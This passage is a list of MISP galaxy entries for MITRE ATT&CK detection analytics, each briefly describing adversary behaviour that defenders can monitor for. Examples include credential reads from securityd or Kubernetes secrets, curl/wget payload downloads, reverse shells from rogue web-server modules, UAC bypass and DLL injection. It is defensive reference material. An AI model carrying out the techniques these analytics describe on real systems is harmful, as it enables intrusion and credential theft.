The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0471 - AN0471"*

Table 6446. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0165#AN0471

Analytic 0741 - AN0741

Persistent high CPU utilization combined with suspicious command-line execution (e.g., mining tools or obfuscated scripts) and outbound connections to mining/proxy networks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0741 - AN0741"*

Table 6447. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267#AN0741

Analytic 1470 - AN1470

Cloud API usage to create/import SSH keys or generate new access keys (CreateAccessKey, ImportKeyPair, CreateLoginProfile) from non-console access or unusual principals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1470 - AN1470"*

Table 6448. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0531#AN1470

Analytic 1047 - AN1047

Detect suspicious calls to sysctl or ptrace API used to determine if a process is being debugged. Monitor for processes that flood OutputDebugString equivalents or generate abnormal exceptions to evade analysis.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1047 - AN1047"*

Table 6449. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0371#AN1047

Analytic 0714 - AN0714

Adversary installation or use of RMM software (e.g., TeamViewer, AnyDesk, ScreenConnect) followed by outbound beaconing or remote session establishment

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0714 - AN0714"*

Table 6450. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0259#AN0714

Analytic 1740 - AN1740

On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1740 - AN1740"*

Table 6451. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0654#AN1740
https://source.android.com/security/verifiedboot/

Analytic 1704 - AN1704

Application vetting services could look for misuse of dynamic libraries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1704 - AN1704"*

Table 6452. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0632#AN1704

Analytic 0184 - AN0184

Adversary installs or modifies IIS components (ISAPI filters, extensions, or modules) using DLL files registered via configuration changes or administrative tools like AppCmd.exe. These components intercept or manipulate HTTP requests/responses for persistence or C2.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0184 - AN0184"*

Table 6453. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0068#AN0184

Analytic 0841 - AN0841

Execution of files originating from removable media after drive mount, with correlation to file write activity, autorun usage, or lateral spread via staged tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0841 - AN0841"*

Table 6454. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0301#AN0841

Analytic 1048 - AN1048

Correlated use of sleep/delay mechanisms (e.g., kernel32!Sleep, NTDLL APIs) in short-lived processes, combined with parent processes invoking suspicious scripts (e.g., wscript, powershell) with minimal user interaction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1048 - AN1048"*

Table 6455. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0372#AN1048

Analytic 1084 - AN1084

Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1084 - AN1084"*

Table 6456. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0384#AN1084

Analytic 0814 - AN0814

Detects injection or tampering of DLLs in hybrid identity agents (e.g., AzureADConnectAuthenticationAgentService), registry or configuration changes tied to PTA/AD FS, and anomalous LSASS or AD FS module loads correlated with authentication anomalies.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0814 - AN0814"*

Table 6457. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0293#AN0814

Analytic 0418 - AN0418

Forged SAML tokens can be observed as authentication attempts with valid signatures but missing expected preceding Kerberos or authentication events. Defenders may correlate SAML assertions with absent Event IDs 4769, 1200, or 1202, or tokens issued with abnormal lifetimes, issuers, or claims compared to baseline.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0418 - AN0418"*

Table 6458. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0148#AN0418

Analytic 1408 - AN1408

Detects downloaded SVG files followed by execution of browser processes or tools like xdg-open, and rapid follow-on network connections or process spawns to interpreters like python or bash.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1408 - AN1408"*

Table 6459. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0510#AN1408

Analytic 1480 - AN1480

1) New or updated software is delivered/installed from atypical sources or with signature/hash mismatches; 2) installer/updater writes binaries to unexpected paths or replaces existing signed files; 3) first run causes unsigned/abnormally signed modules to load or child processes to execute, optionally followed by network egress to new destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1480 - AN1480"*

Table 6460. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0537#AN1480

Analytic 0481 - AN0481

Defenders should monitor for suspicious enumeration of cloud infrastructure components via APIs or CLI tools. Observable behaviors include repeated listing or description operations for compute instances, snapshots, storage buckets, and volumes. From a defender's perspective, risky activity is often identified by new or untrusted identities making discovery calls (e.g., DescribeInstances, ListBuckets, az vm list, gcloud compute instances list), enumeration from unusual geolocations or IPs, or rapid multi-service discovery in sequence. Correlating discovery API usage with later snapshot creation or instance modification provides further context of adversary behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0481 - AN0481"*

Table 6461. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0169#AN0481

Analytic 0148 - AN0148

Delivery of suspicious internal communication (e.g., Thunderbird, Evolution) using compromised internal accounts. Sequence of: unexpected user activity + mail transfer logs + download or execution of attachments.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0148 - AN0148"*

Table 6462. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0054#AN0148

Analytic 1804 - AN1804

Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1804 - AN1804"*

Table 6463. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0692#AN1804

Analytic 1840 - AN1840

Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1840 - AN1840"*

Table 6464. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0713#AN1840

Analytic 0491 - AN0491

Flood of incoming TLS or HTTP(S) connections to macOS-hosted services (e.g., MAMP, Apache), causing high CPU usage and system unresponsiveness.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0491 - AN0491"*

Table 6465. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0173#AN0491

Analytic 1094 - AN1094

Detects a multi-event behavior chain involving UAC bypass attempts via known auto-elevated binaries (e.g., eventvwr.exe, sdclt.exe), unauthorized Registry changes to UAC-related keys, and anomalous process execution with elevated privileges but lacking standard parent-child lineage. Suspicious patterns include invocation of auto-elevated COM objects or manipulation of isolatedCommand Registry entries without consent prompts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1094 - AN1094"*

Table 6466. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0388#AN1094

Analytic 1940 - AN1940

Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1940 - AN1940"*

Table 6467. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0808#AN1940

Analytic 0941 - AN0941

Detects the use of message-based injection by monitoring for sequences involving FindWindow (EnumWindows or EnumChildWindows), VirtualAllocEx or related API calls, combined with suspicious PostMessage/SendMessage (e.g., LVM_SETITEMPOSITION) use to SysListView32 controls, followed by LVM_SORTITEMS invocation instead of WriteProcessMemory.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0941 - AN0941"*

Table 6468. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0331#AN0941

Analytic 0149 - AN0149

Abnormal Apple Mail use, including internal email relays followed by file execution or script events (e.g., attachments launched via Preview, terminal triggered from Mail.app)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0149 - AN0149"*

Table 6469. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0054#AN0149

Analytic 1490 - AN1490

Unusual long-running processes consuming high CPU cycles (e.g., via 'top' or 'ps') initiated via cron, shell scripts, or Docker. Connections to known mining pools or DNS over HTTPS usage as evasion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1490 - AN1490"*

Table 6470. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0540#AN1490

Analytic 0419 - AN0419

Forged SAML tokens in IaaS environments often manifest as cross-cloud or cross-account authentication without matching STS events. Defenders may see AssumeRole or GetFederationToken API usage without a corresponding SAML assertion log from the trusted IdP.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0419 - AN0419"*

Table 6471. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0148#AN0419

Analytic 0194 - AN0194

Detects file transfers or mounting operations from remote hosts followed by write actions into a local staging directory, often using SMB or remote shell activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0194 - AN0194"*

Table 6472. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0071#AN0194

Analytic 1049 - AN1049

Shell scripts or binaries invoking repeated 'sleep', 'ping', or low-level syscalls (e.g., nanosleep) in short-lived execution chains with no user or system interaction. Frequently seen in malicious cron jobs or payload stagers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1049 - AN1049"*

Table 6473. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0372#AN1049

Analytic 0914 - AN0914

Detects ELF binaries written to disk that demonstrate anomalous file size or entropy, quickly followed by execution or memory region writes into remote processes (e.g., using ptrace).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0914 - AN0914"*

Table 6474. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0322#AN0914

Analytic 1409 - AN1409

Detects SVGs downloaded via browser that invoke AppleScript, osascript, or JavaScriptCore processes, followed by network egress or file drop to LaunchAgents or ~/Library.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1409 - AN1409"*

Table 6475. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0510#AN1409

Analytic 0155 - AN0155

Detection of malicious certificate installation via monitoring execution of the `security add-trusted-cert` command and modifications to system keychains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0155 - AN0155"*

Table 6476. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0056#AN0155

Analytic 0515 - AN0515

Use of native/mac tools (sharing -l, smbutil view, mount_smbfs) or scripts to enumerate SMB shares across many hosts, followed by outbound SMB connections observed in PF/Zeek logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0515 - AN0515"*

Table 6477. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0182#AN0515

Analytic 1550 - AN1550

Adversary adds IDE extensions or plugins (VS Code, JetBrains Toolbox/EAP, Eclipse) via GUI or CLI, possibly via managed profiles. Chain: process start with install/update flags → plist/extension folder changes under ~/Library/Application Support/Code or ~/Library/Application Support/JetBrains → outbound connections to marketplaces/tunnel services → optional helper (ssh/node) spawned.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1550 - AN1550"*

Table 6478. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0561#AN1550

Analytic 1055 - AN1055

Track creation or update of SaaS automation scripts (e.g., Google Workspace Apps Script). Detect when these scripts are bound to user events such as file opens or account modifications, and correlate with subsequent abnormal API calls that exfiltrate or modify user data.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1055 - AN1055"*

Table 6479. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0374#AN1055

Analytic 0551 - AN0551

Suspicious creation or modification of inbox rules through PowerShell (New-InboxRule, Set-InboxRule) to automatically delete, move, or hide emails. Defender perspective: unusual rule activity correlated with mailbox access and filtering patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0551 - AN0551"*

Table 6480. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0192#AN0551

Analytic 1505 - AN1505

Detects unexpected access or usage of cloud productivity tools (e.g., downloading large numbers of files, creating external shares) by internal users.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1505 - AN1505"*

Table 6481. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0546#AN1505

Analytic 1065 - AN1065

Detects use of gzip, base64, tar, or openssl in scripts or commands that encode/encrypt files after file staging or system enumeration.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1065 - AN1065"*

Table 6482. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0378#AN1065

Analytic 1560 - AN1560

Processes executing binaries named after legitimate system utilities (e.g., net.exe, findstr.exe, python.exe) from non-standard or application-specific directories, combined with file creation or modification events for such binaries. Defender correlates file writes in vulnerable directories, process execution paths inconsistent with baseline system paths, and abnormal parent-child relationships in process lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1560 - AN1560"*

Table 6483. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0564#AN1560

Analytic 1506 - AN1506

Detects login and usage patterns deviating from typical Microsoft 365 or Google Workspace user profiles.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1506 - AN1506"*

Table 6484. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0546#AN1506

Analytic 0561 - AN0561

Execution of `ifconfig`, `networksetup`, or `system_profiler` to query IP/MAC/interface configuration and status.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0561 - AN0561"*

Table 6485. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0195#AN0561

Analytic 0156 - AN0156

Detects suspicious memory access attempts targeting the `securityd` process. Observes tools invoking process memory read operations (e.g., ptrace, task_for_pid) against `securityd`. Correlates with anomalous parent process lineage, root privilege escalation, or repeated unauthorized attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0156 - AN0156"*

Table 6486. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0057#AN0156

Analytic 1605 - AN1605

Adversary invokes 'useradd', 'adduser', or equivalent system commands or scripts to create local users. Detection focuses on command execution and audit trail of passwd/shadow file modifications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1605 - AN1605"*

Table 6487. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0583#AN1605

Analytic 0615 - AN0615

Detection of ESXi escape attempts by monitoring for anomalies in hypervisor logs such as unexpected VM operations, privilege escalation events, or attempts to load malicious kernel modules within the hypervisor environment.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0615 - AN0615"*

Table 6488. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0219#AN0615

Analytic 1056 - AN1056

Monitor for creation or modification of udev rules files in key directories (/etc/udev/rules.d/, /lib/udev/rules.d/, /usr/lib/udev/rules.d/). Look for RUN+= or IMPORT keys invoking suspicious binaries or scripts. Correlate this with process execution from systemd-udevd context, and file writes near udev reload/restart events. Combine this with unexpected background process spawning from udevd-related forks.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1056 - AN1056"*

Table 6489. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0375#AN1056

Analytic 0516 - AN0516

Correlate suspicious file transfers over SMB or Admin$ shares with process creation events (e.g., cmd.exe, powershell.exe, certutil.exe) that do not align with normal administrative behavior. Detect remote file writes followed by execution of transferred binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0516 - AN0516"*

Table 6490. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0183#AN0516

Analytic 0651 - AN0651

Detect the creation or modification of common media file formats (e.g., .jpg, .png, .wav) following suspicious process activity like compression or encryption, especially when paired with lateral movement or exfiltration behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0651 - AN0651"*

Table 6491. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0235#AN0651

Analytic 0165 - AN0165

Unusual or uncommon processes initiate network connections to external destinations followed by file creation (tools downloaded).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0165 - AN0165"*

Table 6492. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0060#AN0165

Analytic 1650 - AN1650

Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application's manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1650 - AN1650"*

Table 6493. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0602#AN1650

Analytic 0517 - AN0517

Monitor scp, rsync, curl, sftp, or ftp processes initiating transfers to internal systems combined with file creation events in unusual directories. Correlate transfer activity with subsequent execution of those binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0517 - AN0517"*

Table 6494. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0183#AN0517

Analytic 0571 - AN0571

Detection correlates anomalous Docker or Kubernetes API requests with access to logs, secrets, or service accounts. Observes unauthorized use of `docker logs`, `kubectl get secrets`, or direct API calls to Kubernetes API server endpoints. Identifies behavioral patterns where adversaries escalate from basic pod/container interaction to privileged API calls exposing sensitive credential material.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0571 - AN0571"*

Table 6495. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0198#AN0571

Analytic 1570 - AN1570

Defenders may observe adversary attempts to downgrade system images by monitoring for anomalous file transfers of OS image files (via TFTP, FTP, SCP), configuration changes pointing boot system variables to older image files, unexpected OS version strings after reboot, and checksum mismatches against approved baseline images. Suspicious chains include transfer of an older image, alteration of boot configuration, and reboot/reload of the device. Adversaries may also tamper with CLI output to disguise downgrade attempts, requiring independent validation of OS version and integrity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1570 - AN1570"*

Table 6496. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0569#AN1570

Analytic 0715 - AN0715

Execution of known or custom VNC/remote desktop daemons or tunneling agents that initiate external communication after launch

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0715 - AN0715"*

Table 6497. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0259#AN0715

Analytic 1057 - AN1057

Detects processes performing network enumeration (e.g., port scans, service probing) by correlating process creation, socket connections, and sequential destination IP probing within a time window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1057 - AN1057"*

Table 6498. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0376#AN1057

Analytic 0157 - AN0157

Detects adversaries attempting to attach debuggers or memory dump utilities to credential storage daemons analogous to macOS `securityd`. Observes ptrace syscalls, /proc/<pid>/mem access, or gcore dumps against sensitive processes. Correlates anomalies with privilege escalation or credential dumping attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0157 - AN0157"*

Table 6499. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0057#AN0157

Analytic 0751 - AN0751

SSH session from new source IP followed by interactive shell or privilege escalation (e.g., sudo, su) and outbound lateral connection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0751 - AN0751"*

Table 6500. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0269#AN0751

Analytic 0175 - AN0175

Detects Python script or interpreter execution on ESXi hosts via embedded BusyBox shells, nested installations, or dropped files via SSH or datastore mount. Flags unusual scripting or post-compromise enumeration behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0175 - AN0175"*

Table 6501. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0063#AN0175

Analytic 1075 - AN1075

Correlates file enumeration of XML files in the SYSVOL share with suspicious process execution that decodes or reads encrypted credentials embedded in Group Policy Preference files (e.g., Get-GPPPassword.ps1, gpprefdecrypt.py, Metasploit). Detects abnormal access to \DOMAIN\SYSVOL combined with XML file parsing or decryption logic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1075 - AN1075"*

Table 6502. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0381#AN1075

Analytic 1507 - AN1507

Installation of malicious IIS/Apache/SQL server modules that later execute command-line interpreters or establish outbound connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1507 - AN1507"*

Table 6503. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0547#AN1507

Analytic 1705 - AN1705

Application vetting services may be able to detect known privilege escalation exploits contained within applications, as well as searching application packages for strings that correlate to known password store locations. Mobile security products can potentially detect jailbroken devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1705 - AN1705"*

Table 6504. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0633#AN1705

Analytic 1750 - AN1750

Application vetting services could look for use of standard APIs (e.g. the clipboard API) that could indicate data manipulation is occurring.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1750 - AN1750"*

Table 6505. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0660#AN1750

Analytic 1085 - AN1085

A process outside of interactive shell context reads ~/.bash_history directly (e.g., using cat, less, grep), often shortly after privilege escalation or user switch (su/sudo). This may be followed by credential scanning in memory or file writes to new locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1085 - AN1085"*

Table 6506. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0385#AN1085

Analytic 1058 - AN1058

Detects use of network scanning utilities or scripts performing rapid connections to multiple services or hosts using auditd and netflow/pcap telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1058 - AN1058"*

Table 6507. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0376#AN1058

Analytic 0851 - AN0851

User or remote input triggers application crash or segmentation fault (e.g., SIGSEGV) with service recovery attempts, observed via audit logs and systemd journaling.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0851 - AN0851"*

Table 6508. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0304#AN0851

Analytic 0518 - AN0518

Detect anomalous use of scp, rsync, curl, or third-party sync apps transferring executables into user directories. Correlate new file creation with immediate execution events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0518 - AN0518"*

Table 6509. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0183#AN0518

Analytic 1580 - AN1580

Detects snapshot sharing, backup exports, or data object transfers from victim-owned cloud accounts to other cloud identities within the same provider (e.g., AWS, Azure) using snapshot sharing, S3 bucket policy updates, or SAS URI generation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1580 - AN1580"*

Table 6510. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0573#AN1580

Analytic 0158 - AN0158

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0158 - AN0158"*

Table 6511. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0058#AN0158

Analytic 0185 - AN0185

Chain: (1) a new external device is recognized by Windows (USB/Thunderbolt/PCIe) or a new block device appears; (2) within a short window, the same user/session spawns processes or the OS mounts a new volume; (3) optional follow-on activity such as HID keystroke injection, DMA driver load, or new network interface MAC on DHCP. Correlate Security EID 6416 / Kernel-PnP with sysmon and DHCP/network metadata.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0185 - AN0185"*

Table 6512. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0069#AN0185

Analytic 1508 - AN1508

Abuse of extensible server modules (e.g., Apache, Nginx, Tomcat) to load rogue plugins that initiate bash, connect to C2, or spawn reverse shells.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1508 - AN1508"*

Table 6513. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0547#AN1508

Analytic 0815 - AN0815

Detects registration of new PTA agents, conditional access changes disabling hybrid MFA enforcement, or suspicious updates to AD FS token-signing configurations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0815 - AN0815"*

Table 6514. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0293#AN0815

Analytic 0581 - AN0581

Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0581 - AN0581"*

Table 6515. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0205#AN0581

Analytic 1805 - AN1805

Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1805 - AN1805"*

Table 6516. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0692#AN1805

Analytic 1850 - AN1850

Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1850 - AN1850"*

Table 6517. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0719#AN1850

Analytic 0195 - AN0195

Detects inbound SCP, rsync, or NFS mounts from remote systems followed by aggregation of files into known staging paths like /mnt/staging or /var/tmp.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0195 - AN0195"*

Table 6518. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0071#AN0195

Analytic 1059 - AN1059

Detects Bonjour-based mDNS enumeration or use of system tools (e.g., dns-sd, nmap) to find active services via multicast probing or targeted scans.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1059 - AN1059"*

Table 6519. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0376#AN1059

Analytic 0591 - AN0591

Use of domain accounts via sssd or winbind for logon activity outside of typical patterns, especially on sensitive systems or with lateral movement tools.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0591 - AN0591"*

Table 6520. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0210#AN0591

Analytic 1950 - AN1950

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1950 - AN1950"*

Table 6521. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0818#AN1950

Analytic 0951 - AN0951

Monitors binary modification in /Applications and system library paths. Detects unsigned or improperly signed binaries executed after modification. Tracks Gatekeeper or notarization bypass attempts tied to modified binaries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0951 - AN0951"*

Table 6522. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0336#AN0951

Analytic 1095 - AN1095

Detects DLL injection through correlation of memory allocation and writing to remote process memory (e.g., VirtualAllocEx, WriteProcessMemory), followed by remote thread creation (e.g., CreateRemoteThread) that loads a suspicious or unsigned DLL using LoadLibrary or reflective loading.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1095 - AN1095"*

Table 6523. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0389#AN1095

Analytic 1590 - AN1590

Creation or modification of Apple Mail rules by accessing plist files or GUI automation (AppleScript).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1590 - AN1590"*

Table 6524. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0576#AN1590

Analytic 1509 - AN1509

Malicious use of webserver plugins (e.g., for nginx, PHP, Node.js) that execute AppleScript or open network sockets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1509 - AN1509"*

Table 6525. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0547#AN1509

Analytic 0159 - AN0159

Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0159 - AN0159"*

Table 6526. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0058#AN0159

Analytic 0519 - AN0519

Identify lateral transfer via datastore file uploads or internal scp/ssh sessions that result in new VMX/VMDK or script files. Correlate transfer with VM execution or datastore modification.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0519 - AN0519"*

Table 6527. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0183#AN0519

Analytic 0915 - AN0915

Identifies Mach-O binaries dropped into temporary directories with abnormally high binary size or padding patterns, followed by privilege escalation, `exec`, or memory mapping of other processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0915 - AN0915"*

Table 6528. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0322#AN0915

Analytic 1066 - AN1066

Monitors use of archive or encryption tools (zip, openssl) tied to user-scripted activity or binaries writing encoded payloads under /Users or /Volumes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1066 - AN1066"*

Table 6529. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0378#AN1066

Analytic 0166 - AN0166

Shell-based tools (curl, wget, scp) initiate connections to external domains followed by creation of executable files on disk.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0166 - AN0166"*

Table 6530. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0060#AN0166

Analytic 0616 - AN0616

